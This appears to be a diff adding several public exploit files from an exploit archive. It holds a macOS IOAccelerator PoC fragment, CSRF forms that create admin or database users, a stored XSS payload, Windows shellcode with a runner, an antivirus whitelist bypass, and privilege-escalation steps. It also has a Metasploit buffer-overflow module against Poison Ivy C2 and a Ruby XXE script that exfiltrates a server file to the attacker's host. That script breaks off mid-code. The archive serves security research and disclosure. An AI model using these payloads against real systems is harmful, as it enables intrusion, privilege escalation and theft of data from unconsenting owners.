io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
int main(int argc, char** argv){
mach_port_t gl_context = get_user_client("IOAccelerator", 0x2a0);
release_device_texture(gl_context);
return 0;
}

View file

@ -0,0 +1,36 @@
<!--
# Exploit Title: Mobiketa - CSRF Add Admin Exploit
# Date: 09/06/2016
# Exploit Author: Murat YILMAZLAR
# Vendor Homepage: http://www.ynetinteractive.com/mobiketa/
# Version: 1.0
# Exploit:
< -- bug code started -- >
-->
<html>
<body>
<form action="[SITE]/[mobiketa_path]/index.php?url=user" method="POST"
enctype="multipart/form-data">
<input type="hidden" name="is&#95;admin" value="1" />
<input type="hidden" name="name" value="murat&#32;y" />
<input type="hidden" name="email"
value="murrat&#64;protonmail&#46;com" />
<input type="hidden" name="username" value="murrat" />
<input type="hidden" name="password" value="123123123" />
<input type="hidden" name="id" value="15" />
<input type="hidden" name="update" value="&#13;" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<!--
< -- end of the bug code -- >
#########################
[+] Contact: http://twitter.com/muratyilmazlarr
-->

View file

@ -0,0 +1,31 @@
<!--
# Exploit Title: miniMySQLAdmin 1.1.3 - CSRF(Execute SQL Query)
# Date: 2016-06-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://xdsoft.net/minimysqladmin.html
# Software Link: https://github.com/xdan/miniMySQLAdmin/archive/master.zip
# Version: v1.1.3
# Tested on: Debian [wheezy]
# CVE : none
-->
<hr>
<form name="csrf_poc" action="http://192.168.0.14/vul_test/target/miniMySQLAdmin/" method="GET">
<input type="hidden" name="dbname" value="mysql">
<input type="hidden" name="table" value="user">
<input type="hidden" name="sql" value="create user exploit_user"> <!-- SQL Query -->
<input type="submit" value="Replay!">
</form>
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
<!--
#### Output ####
#> select * from `user` order by `User` asc limit 20
Host User
% exploit_user1
-->

31
platforms/php/webapps/39913.txt Executable file
View file

@ -0,0 +1,31 @@
# Exploit Title: phpMyFAQ 2.9.0 Stored XSS
# Date: 09-06-2016
# Software Link: http://www.phpmyfaq.de/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
1. Description
PHP `filter_input()` function with `FILTER_VALIDATE_URL` flag is used to validate url inside `savefaq` functionality.
But this function doesnt protect against XSS.
http://security.szurek.pl/phpmyfaq-290-stored-xss.html
2. Proof of Concept
By default every user can propose faq entries.
When admin activate article using http://phpmyfaq/admin/?action=view url or records.defaultActivation option is enabled, XSS will be visible on entry page:
http://phpmyfaq/index.php?action=artikel&cat=%cat_id%&id=%article_id%&artlang=pl
For exploitation use folowing url inside Link for this FAQ field:
http://example.com/"><script>alert("xss")</script>
3. Solution:
Update to version 2.9.1

168
platforms/win32/shellcode/39914.c Executable file
View file

@ -0,0 +1,168 @@
/*
# Title : Windows x86 system("systeminfo") shellcode
# Date : 10-06-2016
# Author : Roziul Hasan Khan Shifat
# Tested on : Windows 7 Professional x86
*/
/*
section .text
global _start
_start:
xor ecx,ecx
mov eax,[fs:ecx+0x30] ;EAX=PEB
mov eax,[eax+0xc] ;EAX=PEB->Ldr
mov esi,[eax+0x14] ;ESI=PEB->Ldr.InMemOrderModuleList
lodsd ; EAX=ntdll.dll
xchg eax,esi ;EAX=ESI , ESI=EAX
lodsd ; EAX=Third(kernel32)
mov ebx,[eax+0x10] ;PVOID Dllbase (base address)
;-------------------------------
mov edx,[ebx+0x3c] ;(kernel32.dll base address+0x3c)=DOS->e_lfanew
add edx,ebx ;(DOS->e_lfanew+kernel32.dll base address)=PE Header
mov edx,[edx+0x78] ;(PE Header+0x78)=DataDirectory->VirtualAddress
add edx,ebx ;(DataDirectory->VirtualAddress+kernel32.dll base address)=export table of kernel32.dll(IMAGE_EXPORT_DIRECTORY)
mov esi,[edx+0x20]; (IMAGE_EXPORT_DIRECTORY+0x20)=AddressOfNames
add esi,ebx ;ESI=(AddressOfNames+kernel32.dll base address)=kernel32 AddressOfNames
xor ecx,ecx
;-----------------------
Get_func:
inc ecx ;increment the ordinal
lodsd ;Get name offset
add eax,ebx ;(offset+kernel32.dll base adress)=Get function name
cmp dword [eax],0x50746547 ;GetP
jnz Get_func
cmp dword [eax+0x4],0x41636f72 ;rocA
jnz Get_func
cmp dword [eax+0x8],0x65726464 ;ddre
jnz Get_func
;---------------------
mov esi,[edx+0x24] ;(IMAGE_EXPORT_DIRECTORY+0x24) AddressOfNameOrdinals
add esi,ebx ;ESI=(AddressOfNameOrdinals+kernel32.dll)=AddressOfNameOrdinals of kernel32.dll
mov cx,[esi+ecx*2] ;CX=Number of Function
dec ecx
mov esi,[edx+0x1c] ; (IMAGE_EXPORT_DIRECTORY+0x1c)=AddressOfFunctions
add esi,ebx ;ESI=beginning of Address table
mov edx,[esi+ecx*4];EDX=Pointer(offset)
add edx,ebx ;Edx=GetProcAddress
;------------------------------
xor esi,esi
mov esi,edx
;-------------------------------
;finding address of LoadLibraryA
xor ecx,ecx
push ecx
push 0x41797261
push 0x7262694c
push 0x64616f4c
mov ecx,esp
push ecx
push ebx
call edx
;-------------------------------------
;finding address of msvcrt.dll
xor ecx,ecx
mov cx, 0x6c6c
push ecx
push 0x642e7472
push 0x6376736d
mov ecx,esp
push ecx
call eax
;----------------------------
xor edi,edi
mov edi,eax ; base address of msvcrt.dll
;----------------------------
;finding address of system()
xor edx,edx
push edx
mov dx, 0x6d65
push edx
push 0x74737973
mov ecx,esp
push ecx
push edi
xor edx,edx
mov edx,esi
call edx
;-------------------------
xor ecx,ecx
mov cx, 0x6f66
push ecx
push 0x6e696d65
push 0x74737973
mov ecx,esp
push ecx
call eax ;calling system()
;-------------------------------
;finding address of _getch()
xor ecx,ecx
mov cx, 0x6863
push ecx
push 0x7465675f
mov ecx,esp
push ecx
push edi
xor edx,edx
mov edx,esi
call edx
;--------------------
call eax ;calling _getch()
;---------------------
;---------------------------
;finding address of exit()
xor edx,edx
push edx
push 0x74697865
mov ecx,esp
push ecx
push edi
call esi
;----------------------
call eax ;exiting
*/
#include<stdio.h>
#include<string.h>
char shellcode[]=\
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xf6\x89\xd6\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x89\xe1\x51\x53\xff\xd2\x31\xc9\x66\xb9\x6c\x6c\x51\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x89\xe1\x51\xff\xd0\x31\xff\x89\xc7\x31\xd2\x52\x66\xba\x65\x6d\x52\x68\x73\x79\x73\x74\x89\xe1\x51\x57\x31\xd2\x89\xf2\xff\xd2\x31\xc9\x66\xb9\x66\x6f\x51\x68\x65\x6d\x69\x6e\x68\x73\x79\x73\x74\x89\xe1\x51\xff\xd0\x31\xc9\x66\xb9\x63\x68\x51\x68\x5f\x67\x65\x74\x89\xe1\x51\x57\x31\xd2\x89\xf2\xff\xd2\xff\xd0\x31\xd2\x52\x68\x65\x78\x69\x74\x89\xe1\x51\x57\xff\xd6\xff\xd0";
main()
{
printf("shellcode length %ld\n",strlen(shellcode));
(* (int(*)()) shellcode)();
}

191
platforms/windows/dos/39915.c Executable file
View file

@ -0,0 +1,191 @@
/*
# Exploit Title : Armadito antimalware - Backdoor/Bypass
# Date : 07-06-2016 (DD-MM-YYYY)
# Exploit Author : Ax.
# Vendor Homepage : http://www.teclib-edition.com/teclib-products/armadito-antivirus/
# Software Link : https://github.com/41434944/armadito-av
# Version : No version specified. Fixed 07-06-2016 post-disclosure
# Tested on : Windows 7
1. Description
Armadito is an modern antivirus developped by the french company TecLib' (http://www.teclib.com/). Looking at the source code made public few days ago we discovered that there was a backdoor (or a really lack of knowledge from their developpers, meaning that they should reconsider working in security).
2. Proof Of Concept
As it can be seen in the GitHub repository in the file : armadito-av/core/windows/service/scan_onaccess.c at line 283. An obvious backdoor has been implemented.
[SOURCE]
if (msDosFilename == NULL) {
a6o_log(ARMADITO_LOG_SERVICE,ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n",ThreadId);
scan_result = ARMADITO_EINVAL;
}
else if (strstr(msDosFilename,"ARMADITO.TXT") != NULL) { // Do not scan the log file. (debug only)
scan_result = ARMADITO_WHITE_LISTED;
}
else {
// launch a simple file scan
//printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename);
scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report);
a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
}
[/SOURCE]
Calling a file ARMADITO.TXT-Malware.exe (or whatever containing ARMADITO.TXT in its name) simply bypass the runtime analysis of the antivirus. You can find attach a small piece of code based on Armadito to reproduce the exploit.
3. Solution
Stop paying developpers that do not know how to deal with security. (Reading the rest of the code has been an exhausting work).
3 bis. Real solution
It seems that they fixed the backdoor already (https://github.com/armadito/armadito-av/blob/DEV/core/windows/service/scan_onaccess.c)
*/
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#define BUFSIZE 4096
#define MAX_PATH_SIZE 255
#define ARMADITO_EINVAL 0
#define ARMADITO_WHITE_LISTED 1
char * ConvertDeviceNameToMsDosName(LPSTR DeviceFileName)
{
char deviceDosName[BUFSIZE];
char deviceLetter[3] = { '\0' };
char deviceNameQuery[BUFSIZE] = { '\0' };
char * deviceDosFilename = NULL;
DWORD len = 0;
DWORD len2 = 0;
DWORD ret = 0;
BOOL bFound = FALSE;
char * tmp;
if (DeviceFileName == NULL) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " [-] Error :: ConvertDeviceNameToMsDosName :: invalid parameter DeviceName\n");
printf("FileName null.\n");
return NULL;
}
// Get the list of the logical drives.
len = GetLogicalDriveStringsA(BUFSIZE, deviceDosName);
if (len == 0) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName!GetLogicalDriveStrings() failed :: error code = 0x%03d", GetLastError());
printf("Error : GetLogicalDriveStringsA()\n");
return NULL;
}
tmp = deviceDosName;
do {
//printf("[+] Debug :: deviceDosName = %s\n",tmp);
// Get the device letter without the backslash (Ex: C:).
memcpy_s(deviceLetter, 2, tmp, 2);
if (!QueryDosDeviceA(deviceLetter, deviceNameQuery, BUFSIZE)) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: QueryDosDeviceA() failed :: error code = 0x%03d\n", GetLastError());
printf("Error : QuedryDosDeviceA()\n");
return NULL;
}
//printf("[+] Debug :: DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);
if (deviceNameQuery == NULL) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName :: QueryDosDeviceA() failed :: deviceNameQuery is NULL\n", GetLastError());
printf("deviceNameQuery null.\n");
}
if (deviceNameQuery != NULL && strstr(DeviceFileName, deviceNameQuery) != NULL) {
//printf("[+] Debug :: FOUND DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);
len2 = strnlen_s(deviceNameQuery, MAX_PATH_SIZE);
len = strnlen_s(DeviceFileName, MAX_PATH_SIZE) - len2 + 3;
deviceDosFilename = (char*)calloc(len + 1, sizeof(char));
deviceDosFilename[len] = '\0';
memcpy_s(deviceDosFilename, len, tmp, 3);
memcpy_s(deviceDosFilename + 2, len, DeviceFileName + len2, len - 1);
bFound = TRUE;
}
// got to the next device name.
while (*tmp++);
//printf("[+] Debug :: next device name = %s\n",tmp);
} while (bFound == FALSE && *tmp);
if (bFound == FALSE) {
return NULL;
}
return deviceDosFilename;
}
int main(int argc, char ** argv)
{
char * msDosFilename = NULL;
int i = 0;
LPSTR ArmaditoFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT"; /* Converted, this is C:\\ARMADITO.txt */
LPSTR BinaryFile = "\\Device\\HarddiskVolume2\\Malware.exe"; /* Converted, this is C:\\malware.exe */
LPSTR BinaryPOCFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT-ILoveJeromeNotin.exe"; /* Converted, this is C:\\ARMADITO.txt-ILoveJeromeNotin.exe */
char *string;
int scan_result = -1;
/* Armadito get the filename from message->msg.FileName ; We remplaced it using a simple string*/
// msDosFilename = ConvertDeviceNameToMsDosName(message->msg.FileName);
for (i = 0; i < 3; i++)
{
if (i == 0)
{
printf("Scanning C:\\ARMADITO.txt\n");
msDosFilename = ConvertDeviceNameToMsDosName(ArmaditoFile);
}
else if (i == 1)
{
printf("Scanning C:\\malware.exe\n");
msDosFilename = ConvertDeviceNameToMsDosName(BinaryFile);
}
else
{
printf("Scanning C:\\ARMADITO.txt-ILoveJeromeNotin.exe\n");
msDosFilename = ConvertDeviceNameToMsDosName(BinaryPOCFile);
}
//report.status = ARMADITO_CLEAN;
/* If the ConvertDeviceNametoMsDosName fails */
if (msDosFilename == NULL) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n", ThreadId);
scan_result = ARMADITO_EINVAL;
}
/* If it contains ARMADITO.TXT ... SERIOUSLY ? */
else if (strstr(msDosFilename, "ARMADITO.TXT") != NULL) { // Do not scan the log file. (debug only)
scan_result = ARMADITO_WHITE_LISTED;
printf("This file is not suspicious. Since it contains ARMADITO.txt ........... \n");
}
else {
/* Armadito basic scan */
printf("Armadito will now scan the file.\n");
// launch a simple file scan
//printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename);
//scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report);
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
//printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
}
printf("\n\n");
}
getchar();
return 0;
}

View file

@ -0,0 +1,49 @@
# Exploit Title: Matrix42 Remote Control Host - Unquoted Path Privilege Escalation
# Date: 06-05-2016
# Exploit Author: Roland C. Redl
# Vendor Homepage: https://www.matrix42.com/
# Software Link: n/a
# Version: 3.20.0031
# Tested on: Windows 7 Enterprise SP1 x64
# CVE : n/a
1. Description:
>sc qc FastViewerRemoteProxy
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: FastViewerRemoteProxy
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 4 DISABLED
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastProxy.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : FastViewer Proxyservice
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
>sc qc FastViewerRemoteService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: FastViewerRemoteService
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastRemoteService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : FastViewer Remoteservice
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
The unquoted path could potentially allow an authorized but non privileged local user to execute arbitrary code with elevated privileges on the system.
2. Proof of concept:
Copy notepad.exe to "C:\Program Files (x86)\Matrix42\" and rename it to "Remote.exe".
Restart the service or the machine and Remote.exe will start with SYSTEM privileges.
3. Solution:
To fix it manually, open regedit, browse to HKLM\SYSTEM\CurrentControlSet\services and add the quotes to the ImagePath value of the relevant service.

View file

@ -0,0 +1,52 @@
------------------------------------------------------------------------------------
# Exploit Title: Riot Games League of Legends Insecure File Permissions Privilege Escalation
# Date: 03/06/16
# Exploit Author: Cyril Vallicari (i give credit also to Vincent Yiu he
probably found this too)
# Vendor Homepage: http://www.leagueoflegends.com
# Version : LeagueofLegends_EUW_Installer_2016_05_13.exe (last version) and LeagueofLegends_EUW_Installer_9_15_2014.exe (an old one)
# Tested on: Windows 7 Professional x64 fully updated. But it should work on all windows system
Description:
The League of Legends Folder is installed with insecure file
permissions. It was found that all folder and most file permissions were
incorrectly configured during installation. It was possible to replace most
binaries.
This can be used to get a horizontal and vertical privilege escalation.
POC :
C:\Users\Utilisateur>icacls "C:\Riot Games\League of Legends"
C:\Riot Games\League of Legends BUILTIN\Administrateurs:(I)(F)
BUILTIN\Administrateurs:(I)(OI)(CI)(IO)(F)
AUTORITE NT\Système:(I)(F)
AUTORITE NT\Système:(I)(OI)(CI)(IO)(F)
BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
AUTORITE NT\Utilisateurs authentifiés:(I)(M)
AUTORITE NT\Utilisateurs
authentifiés:(I)(OI)(CI)(IO)(M)
POC video : https://www.youtube.com/watch?v=_t1kvXBGV2E
Additional Notes :
"Based on our assessment, we feel that the severity and risk related to
this issue is low. We are going to mark this as a won't fix as we're
planning on will be taking this functionality offline soon with our new
league client."
"we determined that there are some design choices regarding the game client
install location and default permissions that prevent us from changing the
current behavior."
I've try to explain that file permissions aren't a functionality that you
take offline or design choices, without success. Sorry guys you will have
to patch this manually..
Related report :
https://www.exploit-db.com/exploits/39903/
------------------------------------------------------------------------------------

194
platforms/windows/remote/39907.rb Executable file
View file

@ -0,0 +1,194 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Poison Ivy 2.1.x C2 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server.
The exploit does not need to know the password chosen for the bot/server communication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module
],
'References' =>
[
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ],
],
'DisclosureDate' => 'Jun 03 2016',
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD)
},
'Platform' => 'win',
'Targets' =>
[
[
'Poison Ivy 2.1.4 on Windows XP SP3',
{
'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe"
'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe"
'InfoSizeOffset' => 0x1111, # offset of InfoSize variable
'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable
'Packet2Offset' => 0xB9E # offset of second packet within server's response
}
]
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(3460)
], self.class)
end
# XOR two strings
def xor_strings(s1, s2)
s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*')
end
# Obtain keystream using known plaintext
def get_keystream(ciphertext, knownPlaintext)
if(ciphertext.length < knownPlaintext.length)
return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length])
else
return xor_strings(ciphertext, knownPlaintext)
end
end
# Apply keystream to plaintext
def use_keystream(plaintext, keyStream)
if(keyStream.length > plaintext.length)
return xor_strings(plaintext, keyStream[0, plaintext.length])
else
return xor_strings(plaintext, keyStream)
end
end
def check
connect
# Poke
sock.put("\x01")
# Fetch response
response = sock.get_once(6)
if (response == "\x89\xFF\x90\x0B\x00\x00")
vprint_status("Poison Ivy C&C version 2.1.4 detected.")
return Exploit::CheckCode::Appears
elsif (response == "\x89\xFF\x38\xE0\x00\x00")
vprint_status("Poison Ivy C&C version 2.0.0 detected.")
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Safe
end
# Load known plaintext chunk
def load_c2_packet_chunk
path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin')
chunk = ::File.open(path, 'rb') { |f| chunk = f.read }
chunk
end
def exploit
# Known plaintext from C2 packet
knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00"
knownPlaintext2 = load_c2_packet_chunk()
# detour shellcode (mov eax, StoreAddress; jmp eax)
detourShellcode = "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress
detourShellcode << "\xFF\xE0" # jmp eax
# Padding where necessary
compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length)
# Construct exploit buffer
exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder)
exploitBuffer << compressedBuffer # compressedBuffer
exploitBuffer << "\xFF" * 0x104 # readfds
exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder)
exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize
exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder)
exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize
exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4
exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam
exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout
exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd
exploitBuffer << Rex::Text.rand_text_alpha(4) # s
exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP
exploitBuffer << [target['Ret']].pack("V") # EIP
exploitBuffer << [target['StoreAddress']].pack("V") # arg_0
exploitBuffer << detourShellcode # detour to storage area
# Calculate values
allocSize = exploitBuffer.length + 1024
infoLen = payload.encoded.length
infoSize = (infoLen + 4)
# Handshake
connect
print_status("Performing handshake...")
# Poke
sock.put("\x01")
# Fetch response
response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)
eHeader = response[target['Packet2Offset'], 6]
eInfo = response[target['Packet2Offset'] + 10..-1]
if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))
# Keystream derivation using Known Plaintext Attack
keyStream1 = get_keystream(eHeader, knownPlaintext1)
keyStream2 = get_keystream(eInfo, knownPlaintext2)
# Set correct infoLen
exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]
# Set correct decompressSize
exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]
# Build packet
malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)
# Encrypt infoSize bytes
encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]
# Make sure infoSize gets overwritten properly since it is processed before decryption
encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]
# Finalize packet
exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer
print_status("Sending exploit...")
# Send exploit
sock.put(exploitPacket)
else
print_status("Not enough keystream available...")
end
select(nil,nil,nil,5)
disconnect
end
end

164
platforms/xml/webapps/39909.rb Executable file
View file

@ -0,0 +1,164 @@
#!/usr/bin/ruby
#
# Exploit Title: Dell OpenManage Server Administrator 8.3 XXE
# Date: June 9, 2016
# Exploit Author: hantwister
# Vendor Homepage: http://en.community.dell.com/techcenter/systems-management/w/wiki/1760.openmanage-server-administrator-omsa
# Software Link: http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=CCKPW
# Version: 8.3
# Tested On: RHEL7
#
# Description:
# When using an XML parser on returned data by a remote node, OMSA does not
# restrict the use of external entities.
#
# This PoC first emulates a remote node (OMSA -> WS-Man -> this) and
# requests from the victim OMSA (this -> HTTPS -> OMSA) that it be managed.
#
# Next, the PoC requests (this -> HTTPS -> OMSA) a plugin that will attempt
# to parse returned XML, and when the OMSA instance requests this XML from
# the emulated node (OMSA -> WS-Man -> this), the PoC returns XML that
# includes a XXE attack, revealing the contents of /etc/redhat-release.
#
# Because OMSA merely requires you be authenticated to the node you are
# managing, which we control, authentication to the victim is not required
# to exploit this vulnerability.
#
# To use, change line 55 to your victim IP. If you have multiple network
# interfaces, you may wish to manually specify which one will be accessible
# to the victim on line 60.
#
# Note: during testing, OMSA would periodically begin rejecting connections
# to fake nodes and would need to be restarted; do not expect multiple runs
# against the same victim to be successful unless you can restart it.
#
# Copyright (C) 2016 hantwister
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
require 'webrick'
require 'webrick/https'
require 'nokogiri'
require 'securerandom'
require "net/http"
require "uri"
victimip = nil
if victimip.nil?
abort "You should modify this file and specify a victim IP."
end
attackerip = Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address
print "Your IP: #{attackerip}\n\nThe victim must be able to reach you at this IP, port 5986 and 8080.\nIf it isn't right, modify this script.\nYou have ten seconds to abort this script.\n\n"
sleep 10
wsmanCallback = WEBrick::HTTPServer.new(:Port => 5986, :SSLEnable => true, :SSLCertName => [ %w[CN localhost] ])
wsmanCallback.mount_proc '/wsman' do |req, res|
doc = Nokogiri::XML(req.body) do |config|
config.options = Nokogiri::XML::ParseOptions::NONET
end
doc.xpath('//wsmid:Identify', 'wsmid' => 'http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd').each do |idRequest|
res.status = 200
res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
res.body = '<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>'
end
doc.xpath('//n1:SendCmd_INPUT', 'n1' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule').each do |dellRequest|
dellCmd = dellRequest.child.text
respText = " "
if dellCmd.start_with?("__00omacmd=getuserrightsonly ")
userRights = (7 + (7 << 16))
respText = "<SMStatus>0</SMStatus><UserRightsMask>#{userRights}</UserRightsMask>"
elsif dellCmd.start_with?("__00omacmd=getaboutinfo ")
respText = "<ProductVersion>6.0.3</ProductVersion>"
elsif dellCmd.start_with?("__00omacmd=getcmdlogcontent")
respText = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE bogus [\n <!ENTITY % file SYSTEM \"file:///etc/redhat-release\">\n <!ENTITY % dtd SYSTEM \"http://#{attackerip}:8080/stage2.dtd\">\n%dtd;\n%send;\n]]>\n<bogus><blah /></bogus>"
end
resDoc = Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:n1=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule\"><s:Header><wsa:To> </wsa:To><wsa:RelatesTo> </wsa:RelatesTo><wsa:MessageID> </wsa:MessageID></s:Header><s:Body><n1:SendCmd_OUTPUT><n1:ResultCode>0</n1:ResultCode><n1:ReturnValue> </n1:ReturnValue></n1:SendCmd_OUTPUT></s:Body></s:Envelope>")
resDoc.xpath('//wsa:To').first.content=doc.xpath('//wsa:Address').first.text
resDoc.xpath('//wsa:RelatesTo').first.content=doc.xpath('//wsa:MessageID').first.text
resDoc.xpath('//wsa:MessageID').first.content=SecureRandom.uuid
